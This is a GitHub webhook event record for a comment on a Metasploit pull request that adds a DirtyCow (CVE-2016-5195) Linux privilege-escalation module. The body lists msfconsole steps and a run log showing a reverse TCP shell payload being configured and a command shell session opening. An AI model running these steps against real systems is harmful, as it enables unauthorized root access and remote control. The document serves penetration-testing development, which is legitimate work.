{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7476","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7476/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7476/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7476/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/7476","id":184629217,"number":7476,"title":"CVE-2016-5195 - DirtyCow privilege escalation","user":{"login":"nixawk","id":7352479,"avatar_url":"https://avatars.githubusercontent.com/u/7352479?v=3","gravatar_id":"","url":"https://api.github.com/users/nixawk","html_url":"https://github.com/nixawk","followers_url":"https://api.github.com/users/nixawk/followers","following_url":"https://api.github.com/users/nixawk/following{/other_user}","gists_url":"https://api.github.com/users/nixawk/gists{/gist_id}","starred_url":"https://api.github.com/users/nixawk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nixawk/subscriptions","organizations_url":"https://api.github.com/users/nixawk/orgs","repos_url":"https://api.github.com/users/nixawk/repos","events_url":"https://api.github.com/users/nixawk/events{/privacy}","received_events_url":"https://api.github.com/users/nixawk/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":12,"created_at":"2016-10-22T13:03:03Z","updated_at":"2016-10-23T21:56:59Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7476","html_url":"https://github.com/rapid7/metasploit-framework/pull/7476","diff_url":"https://github.com/rapid7/metasploit-framework/pull/7476.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/7476.patch"},"body":"Tell us what this change does. If you're fixing a bug, please mention\r\nthe github issue number.\r\n\r\n## Verification\r\n\r\nList the steps needed to make sure this thing works\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] `use exploit/linux/local/dirtycow`\r\n- [ ] `set SESSION 1`\r\n- [ ] **Verify** the thing does what it should\r\n- [ ] **Verify** the thing does not do what it should not\r\n\r\n```\r\nmsf exploit(dirtycow) > show options\r\n\r\nModule options (exploit/linux/local/dirtycow):\r\n\r\n   Name         Current Setting  Required  Description\r\n   ----         ---------------  --------  -----------\r\n   SESSION      6                yes       The session to run this module on.\r\n   WritableDir  /tmp             yes       A directory where we can write files (must not be mounted noexec)\r\n\r\n\r\nPayload options (linux/x64/shell_reverse_tcp):\r\n\r\n   Name   Current Setting  Required  Description\r\n   ----   ---------------  --------  -----------\r\n   LHOST  192.168.1.101    yes       The listen address\r\n   LPORT  4444             yes       The listen port\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   1   Linux x64\r\n\r\n\r\nmsf exploit(dirtycow) > set SESSION 7\r\nSESSION => 7\r\nmsf exploit(dirtycow) > run\r\n\r\n[*] Started reverse TCP handler on 192.168.1.101:4444\r\n[*] Compiling /tmp/QSjHhucDLS.c via gcc\r\n[*] Starting the payload handler...\r\n[*] Executing at 2016-10-22 07:50:28 -0500.  May take up to 10min for callback\r\n[*] Command shell session 8 opened (192.168.1.101:4444 -> 192.168.1.100:46051) at 2016-10-22 07:50:29 -0500\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/255617471","html_url":"https://github.com/rapid7/metasploit-framework/pull/7476#issuecomment-255617471","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7476","id":255617471,"user":{"login":"mach-0","id":22583372,"avatar_url":"https://avatars.githubusercontent.com/u/22583372?v=3","gravatar_id":"","url":"https://api.github.com/users/mach-0","html_url":"https://github.com/mach-0","followers_url":"https://api.github.com/users/mach-0/followers","following_url":"https://api.github.com/users/mach-0/following{/other_user}","gists_url":"https://api.github.com/users/mach-0/gists{/gist_id}","starred_url":"https://api.github.com/users/mach-0/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mach-0/subscriptions","organizations_url":"https://api.github.com/users/mach-0/orgs","repos_url":"https://api.github.com/users/mach-0/repos","events_url":"https://api.github.com/users/mach-0/events{/privacy}","received_events_url":"https://api.github.com/users/mach-0/received_events","type":"User","site_admin":false},"created_at":"2016-10-23T21:56:59Z","updated_at":"2016-10-23T21:56:59Z","body":"@sempervictus you probably need to add those symbols to the metasm exe's table, or use `dlopen`/`dlsym`, which should be in the table already."}}
{"actor":{"display_login":"mach-0"}}